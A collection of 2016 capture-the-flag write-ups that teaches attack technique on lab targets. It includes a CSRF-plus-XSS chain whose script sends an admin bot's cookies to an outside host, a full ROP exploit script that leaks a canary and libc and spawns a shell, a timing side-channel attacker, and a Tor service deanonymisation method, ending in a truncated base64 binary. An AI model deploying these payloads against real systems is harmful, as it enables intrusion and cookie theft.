This web task was running My Little Forum 2.3.7, which has several known vulnerabilities: https://www.exploit-db.com/exploits/40676/.
Luckily, there is an admin bot that is periodically clicking posted links, so we can get the bot to a page controlled by us.
I used Python's `SimpleHTTPServer` to handle HTTP and a JavaScript injection to steal the cookies.
## csrf.html```html<html><head></head><body><form action="http://10.0.38.133:61937/index.php?mode=admin&action=edit_page" method="post" accept-charset="utf-8"><input type="hidden" name="mode" value="admin"><input type="hidden" name="title" value="asdf"><input type="hidden" name="content" value="asdf"><input type="hidden" name="menu_linkname" value="XSS<script src='http://10.3.0.162:8002/csrf.js'></script>"><input id='trigger' type="submit" name="edit_page_submit" value="OK - Save page"></form><script>document.getElementById('trigger').click();</script></body></html>```
## csrf.js```jsvar img = document.createElement('img');img.src = 'http://10.3.0.162:8002/'+document.cookie;document.body.appendChild(img);```
After setting up the files, I ran `python -m SimpleHTTPServer 8002` and posted `[link]http://10.3.0.162:8002/csrf.html[/link]` on the forum.
Soon the requests come in:```10.0.4.3 - - [27/Nov/2016 14:32:03] "GET /csrf.html HTTP/1.1" 200 -10.0.4.3 - - [27/Nov/2016 14:35:04] "GET /csrf.js HTTP/1.1" 200 -10.0.4.3 - - [27/Nov/2016 14:35:04] "GET /flag=adminn_superforum31221 HTTP/1.1" 404 -``` |
The file/disk provided is named image.bin. Using the file command, it is clear that this is a unix ext2 filesystem which we can easily mount. Then, I created a folder named admin and mounted the image file. It contains different data files that is indicated in the matrix and a passwd file which contains the system users. What we have to do here is set the permissions based on the provided matrix and we will get the flag. To check our progress, we will have to run the check_xx(32/64)program.To add or modify the user permissions we can use setfacl -m "u:user:permissions<span>" <file/dir> command. This link will provide almost everything you need to know</span>about setting permissions and access control lists on any image filesystems.Since user dipper (uid:1004) can read the file lazy_black_cat, all we have to do is set the file permission to read and it will update the flag.After setting all the user permissions based on the matrix, we will get the flag: -Zero, HydraSec |
#!/usr/bin/python"""# This is my exploit code for RC3 CTF Level: IMS-hard# It was made after the completion of this event, but luckily the servers are # still online [26.11.16], so the code was tested on a "living" target.# I know, my code is a bit overpowered but I had my fun while programming :)## Additional Info:# After I got the overwriting process of the canary value working, I created # a copy of the IMS-hard binary and patched the canary value check in the main # functions with NOPs. I disabled ASLR on my computer and saved all input to # the binary from this script in a text file:# stdin = file('stdin.txt','w')# x.logfile_send = stdin# This file was then be piped into the executable while debugging it with# radare2 or GDB. If somebody knows another way to directly debug a process # spawned by pexpect, I would apreciate to hear about that.## The offset of the leaked libc address to the libc address on the remote# target was determined by trail and error. I changed the offset, dumped the# libc and either the file size was 0 -> decrease the offset, or the file# did not start with the ELF header -> increase the offset.# # The reason why I am using pexpect instead of pwnlib is because pecpect is # a python only library and pwnlib is not running on x86 architectures.# # Bugs: Sometimes it is possible that the dumping of the libs stops before # all the required data was captured. This results in an error because # it can't find all nedded gadgets"""
import pexpectimport structimport sysimport ttyimport termiosimport osfrom math import log
# Format file size to human readable form # Copied from http://stackoverflow.com/questions/1094841/reusable-library-to-get-human-readable-version-of-file-size#answer-1094933def sizeof_fmt(num, suffix='B'): for unit in ['','k','M','G','T','P','E','Z']: if abs(num) < 1024.0: return "%3.2f %s%s" % (num, unit, suffix) num /= 1024.0 return "%.1f%s%s" % (num, 'Y', suffix)
def p32(dword): return struct.pack("I", dword) def log(msg, loglevel=0, sep="[*] "): if loglevel<=verbose: print "%s%s" % (sep, msg) def hexdump(src, length=16, sep='.'): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or sep for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c+length] hex = ' '.join(["%02x" % ord(x) for x in chars]) if len(hex) > 24: hex = "%s %s" % (hex[:24], hex[24:]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or sep) for x in chars]) lines.append(" %03d: %-*s |%s|\n" % (c, length*3, hex, printable)) return ''.join(lines) def info_leak(POS): leak = [0, 0, 0] x.sendline(VIEW_RECORD) x.expect('Choose: ') x.sendline(str(POS))
x.expect('Product ID: ') x.expect('.+,') leak[2] = int(x.after[:-1]) & 0xffffffff x.expect('Product Code: ') x.expect('.+T') leak[0] = struct.unpack("I", x.after[0:4])[0] leak[1] = struct.unpack("I", x.after[4:8])[0] return leak def send_12bytes_to_stack(hexstring_12): byte_0_7 = struct.unpack("Q", hexstring_12[0:8])[0] byte_8_11 = struct.unpack("I", hexstring_12[8:12])[0] x.sendline(ADD_RECORD) x.expect('Enter product ID:') log('Product ID: %d' % byte_8_11 ,2) x.sendline("%d" % byte_8_11) x.expect('Enter product code:') log('Product Code: %s' % struct.pack("Q", byte_0_7),2) x.send("%s\n" % struct.pack("Q", byte_0_7)) return 1 def send_payload(buf): # Align payload to x*12 bytes if len(buf)%12 != 0: log('Adding %d "A" to payload' % (12-len(buf)%12), 1) buf = buf+'X'*(12-len(buf)%12) log("Sending %d (%d*12) bytes payload..." % (len(buf), len(buf)/12)) log( "===================== Raw Payload ======================", 1) log("%s" % hexdump(buf,length=12), 1, sep="") for i in range(0, len(buf)/12*12, 12): send_12bytes_to_stack(buf[i:i+12])
##################################################################################################################### MAIN ####################################################################################################################
## Constants ##
VIEW_RECORD = str(3)ADD_RECORD = str(1)QUIT = str(4)BANNER = ("""######################################################################################################## RC3 CTF: IMS-hard, 200 points ############################################### Author: Philip Wiese ############################################### Date: 23. Nov. 2016 ######################################################################################################## ## Source: https://gist.github.com/Xeratec/0842f4535c8a9e4d49a245fec76f26de ## Usage: %s [-r] [verbose] ## ## Options: ## -r Select Local / Remote Target ## verbose Verbosity Level 0-2 ## #################################################################################""")
# Sitch between remote and local exploit and select verbose levelremote = Falseverbose = 0if len(sys.argv)>1: if sys.argv[1]== "-r": remote = True if sys.argv[1].isdigit(): verbose = int(sys.argv[1])if len(sys.argv)>2: if sys.argv[2]== "-r": remote = True if sys.argv[2].isdigit(): verbose = int(sys.argv[2]) print BANNER % sys.argv[0]
########################## ###### STAGE 1 ############ Dumping LibC ################################
# Setup pexpect process / connectionif remote: log('========== Select Target [REMOTE] ==========', sep="") x = pexpect.spawn('nc ims.ctf.rc3.club 8888')else: log('========== Select Target [LOCAL] ==========', sep="") x = pexpect.spawn('./IMS-hard_noCanary') log('========== [Stage 1] # Dumping LibC ==========', sep="")
# Set terminal to rawmode to prevent transmission errorstty.setraw(x.fileno())
# Leak the stack canary value for the main functioncanary_main = info_leak(5)[2]log('Leaked canary: 0x%08x' % canary_main, 1)
# Leak stdout addressstdout = info_leak(-13)[1]log('Leaked stdout: 0x%08x' % stdout, 1)
# Leak libc base addressif remote: libc_base = info_leak(-4)[2]-0x1a7000else: libc_base = info_leak(-1)[2]-0x1b3000 log('Leaked libc_base: 0x%08x' % libc_base, 1)
# Set EIP to address of fwrite@plteip = 0x08048550log('EIP: 0x%08x' % eip, 1)
# Build payloadpayload = "A"*5*12 # 12 byte junkpayload += "BBBBBBBB" + p32(canary_main) # 4 byte junk and canary valuepayload += "C"*12 # 12 byte junkpayload += p32(eip) + "DDDD" # next EIP and Return Addresspayload += p32(libc_base) # Arg 1 <const void *ptr>payload += p32(0x01010101) # Arg 2 <size_t size>payload += p32(0x1) # Arg 3 <size_t nmemb>payload += p32(stdout) # Arg 4 <FILE *stream>
# Send end execute payloadsend_payload(payload)x.expect("Choose: ")x.sendline(QUIT)
# Save process output = dump of libc to filelog('Dumping libc to file...')if remote: dump = file('glibc.bin','w')else: dump = file('local_libc.bin','w')x.logfile_read = dump
# Needed to successfully recieve libc dump. But why?data = ''while True: try: data = x.read_nonblocking(size=8192, timeout=1) if not data: break except: break # Close process / connectionx.close()
if remote: dump_size = os.stat('glibc.bin')else: dump_size = os.stat('local_libc.bin')
log('Dumped %s' % sizeof_fmt(dump_size.st_size))
########################## ###### STAGE 2 ############ Exploiting ################################
print ""log('========== [Stage 2] # Exploiting ==========', sep="")# Setup pexpect process / connectionif remote: x = pexpect.spawn('nc ims.ctf.rc3.club 8888')else: x = pexpect.spawn('./IMS-hard_noCanary')
# Save current terminal settings and enter raw mode and # set terminal to rawmode to prevent transmission errorstty_echo_mode = termios.tcgetattr(x.fileno())tty.setraw(x.fileno())
# Leak the stack canary value for the main functioncanary_main = info_leak(5)[2]log('Leaked canary: 0x%08x' % canary_main, 1)
# Leak libc base addressif remote: libc_base = info_leak(-4)[2]-0x1a7000else: libc_base = info_leak(-1)[2]-0x1b3000 log('Leaked libc_base: 0x%08x' % libc_base, 1)
# Open dump of libcif remote: dump = open('glibc.bin').read()else: dump = open('local_libc.bin').read()
# Search for Gadgetsoffset_ret = dump.index('\xc3')offset_binsh = dump.index('/bin/sh\x00')offset_pop_eax = dump.index('\x58\xc3')offset_pop_ebx = dump.index('\x5b\xc3')offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')offset_int80 = dump.index('\xcd\x80')
log('Found String "/bin/sh" @ 0x%08x' % (offset_binsh + libc_base), 1)log("Found <pop eax; ret> @ 0x%08x" % (offset_pop_eax + libc_base), 1)log("Found <pop ebx; ret> @ 0x%08x" % (offset_pop_ebx + libc_base), 1)log("Found <pop ecx; pop edx; ret> @ 0x%08x" % (offset_pop_ecx_edx + libc_base), 1)log("Found <int80; ret> @ 0x%08x" % (offset_int80 + libc_base), 1)
# Build payloadpayload = "A"*5*12 # 12 byte junkpayload += "BBBBBBBB" + p32(canary_main) # 8 byte junk and canary valuepayload += "C"*12 # 12 byte junk# Building ROP Chainpayload += p32(libc_base + offset_pop_eax) + p32(11)payload += p32(libc_base + offset_pop_ebx) + p32(libc_base + offset_binsh)payload += p32(libc_base + offset_ret)payload += p32(libc_base + offset_pop_ecx_edx) + p32(0) + p32(0)payload += p32(libc_base + offset_int80)
# Send and execute payloadsend_payload(payload)x.expect("Choose: ")x.sendline(QUIT)
# Set terminal back to echo mode for interactive shelltermios.tcsetattr(x.fileno(), termios.TCSADRAIN, tty_echo_mode)
log('Executing Shell')# Get flaglog('Sending "cat /home/IMS-hard/flag.txt"')x.sendline('cat /home/IMS-hard/flag.txt')x.expect('\n.+')print x.after[1:-1]
# Open interactive shellx.interact(escape_character='\x04')x.close() |
# LosT CodeInput 32 hex chars and the program returns a 32 0-1 string indicating whether each corresponding character is correct. So just bruteforce and make it return '1'*32. It just need to try 16*32=512 times!``` python3from subprocess import Popen, PIPE
flag = ['a'] * 32for i in range(32): for s in '0123456789abcdef': flag[i] = s with Popen(['LosT.exe', '-b', ''.join(flag)], stdout=PIPE) as proc: result = proc.stdout.read().strip() if result[i] == 49: breakwith open('flag.txt', 'w') as fp: fp.write(''.join(flag))``` |
<span>Original Article at<span>:</span>https://penafieljlm.wordpress.com/2016/10/29/ekoparty-ctf-2016-write-ups/#fbi-100FBI 100 (Find me)</span><span>This challenge requires the participants to find the IP address of an anonymous hidden service accessible via the Tor network. This would be easy if we were in your ordinary internet environment, but in the Tor network, you can’t really do an nslookup or dig. The participants will have to find other ways to pinpoint the location of the service. Luckily, there is indeed a way, and it has something to do with searching for the banner of the service using one of my favourite search engines: Shodan.</span>RequirementstorgitSSH Key ScannerProcessInstall Tor on your Linux machine. In my case, I simply did a sudo apt install torbecause I used a Lubuntu Virtual Machine.Register a Shodan account and acquire your API key. It should be under your Account Overview.Clone SSH Key Scanner using git (git clone https://github.com/0x27/ssh_keyscanner.git)Open the keyscanner.py file inside the cloned repository directoryChange the value of the SHODAN_API_KEY variable to your own Shodan API keyRun torify python keyscanner.py -i ekosshlons2uweke.onionWhat keyscanner.py does is: it acquires a colon-separated MD5 hash of the SSH service’s public key called an “SSH Fingerprint” and then it searches Shodan for a banner containing that fingerprint. You can alternatively extract the SSH fingerprint of the service manually using nmap and search for it in Shodan.The flag is EKO{52.73.16.127} |
# GoodTime (misc 150)I try to send something to the server, and I feel weird when I send RC3. It seems that it takes a longer time to response. So I try to use the side channel to recover the flag. This attack requires a stable network connection because any internet problems may lead to the incorrect estimation of response time. I fail several times on my laptop with wifi, and then I move on to workstation. It works! The code to attack is quiet simple. It can be faster to stop when the response time is 0.2 more than previous, but it's still slow when the string is too long. It takes about ten seconds per query when we nearly solve it. So, we manually guess the possible char and get the flag. flag: RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck```import datetimeimport telnetlib
SERVER = 'goodtime.ctf.rc3.club'PORT = '5866'
def time_interval(conn, param): start = datetime.datetime.now() conn.write(param) ret = conn.read_until(b'\n').strip() end = datetime.datetime.now() interval = end - start return interval.total_seconds(), ret
def guess(x): conn = telnetlib.Telnet(SERVER, PORT) conn.read_until(b': ') t, ret = time_interval(conn, x + b'\n') print('\rguessing', x.decode('utf8'), t, end='') return t, retdef sidechannel_attack(): plain_text = b'' halt = False while not halt: hit = max([(guess(plain_text + bytes([x])), x) for x in range(33, 128)], key=lambda x: x[0][0]) print('') halt = (hit[0][1] != b'Nope') plain_text += bytes([hit[1]]) print(plain_text.decode('utf8'), hit[0][0])
sidechannel_attack()``` |
# Hitcon 2016 Quals - Beelzemon### PPC - 150 pts
Beelzemon gives you two integers 1 <= k <= n <= 20. It wants to know if you can split a set {a | -(2**n) <= a <= (2**n) - 1} into two sets A, B s.t. |A| = |B| and sum({a**k | a in A}) = sum({b**k | b in B}). Give Beelzemon either A or B to save your life. (separate the numbers by space) This problem is pretty easy to understand. We got this set :  and we need to split it in two part of same size in order to follow the rule 
This partition problem is well known and we can find many solutions for positive sets (i.e all elements in the set are >= 0)Therefore we take the following algorithm and will change it a bit :```pythondef find_partition(int_list): "returns: An attempt at a partition of `int_list` into two sets of equal sum" A = set() B = set() for n in sorted(int_list, reverse=True): if sum(A) < sum(B): A.add(n) else: B.add(n) return (A, B)```
Here we are gonna make the split on modified sets, we elevate every element of the `int_list` to the power of kThen, to avoid the problem of non positive elements in this algorithm we add  to every element in the `int_list`Due to the shape of the input set (being a range of integers without missing numbers in between), making equal size sets is pretty straightforward. We just need to put the last element (which will add 0 to the sum and therefore change nothing in our partition) to the partition having the less elements to make equal size partitions.
This problem takes a certain amount of time when `(n,k)` equals `(16,16)` but nothing impossible. My algorithm gets the flag in about 9 minutes. This is a lot, and yes a C++ implementation could be faster, but that's not too much here. *(Edit : process is a lot faster now thanks to elbae. It takes about 10 seconds)*
Here is the final code giving us the flag we want :```python'''Pod for Team Fourchette Bombe'''import socketimport reimport operatorimport time
def find_partition(int_list,n,k): len_A=0; len_B=0; sum_A=0; sum_B=0 Aret = ""; Bret = ""
for i in range(0,len(int_list)): int_list[i] += 2**n int_list=int_list[::-1] for nb in int_list: if nb == 0: if len_A < len_B: len_A+=1 Aret+= str(-2**n)+ " " else: len_B+=1 Bret+= str(-2**n)+ " " else: if sum_A < sum_B: sum_A+=(nb**k) len_A+=1 Aret+=str(nb-(2**n))+ " " else: sum_B+=(nb**k) len_B+=1 Bret+=str(nb-(2**n))+ " " return (Aret)
def main(): begin = time.time() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('52.198.217.117', 6666)) while True: data = s.recv(2048) print "Received:", data if len(repr(data)) <=2 : break; mgex = re.search('([0-9]+) ([0-9]+)', repr(data)) if mgex != None: n = long(mgex.group(1)); k = long(mgex.group(2)); mySet = range(-2**n,2**n); partition = find_partition(mySet,n,k) s.send(partition+'\n'); print "Connection closed." s.close() print "Process duration :", time.time() - begin
main()```
And this process gives us the flag : `hitcon{8Ee121m0n kNow3 ev1l Num8e2}`
*EDIT : Thanks to elbae for his remark concerning time improvement. As I said, I did not search much for improvement as far as it was still reasonable. But with more cases to perform, this improvement could have been a must have to flag this challenge !* |
# Reverse Fever##### Juniors CTF 2016 (http://ctf.org.ru)```nc reverse.ctf.org.ru 8269```
The server asks for a name and then provides a base64-encoded binary. The name is used to track progress. The user with the same name must solve the task 1000 times to get the flag.```root@pwnie:~# nc reverse.ctf.org.ru 8269What's you name? asdfHello asdf! Only 1000 challenges remainFor solve it you need a decode base64 data and reverse engineer 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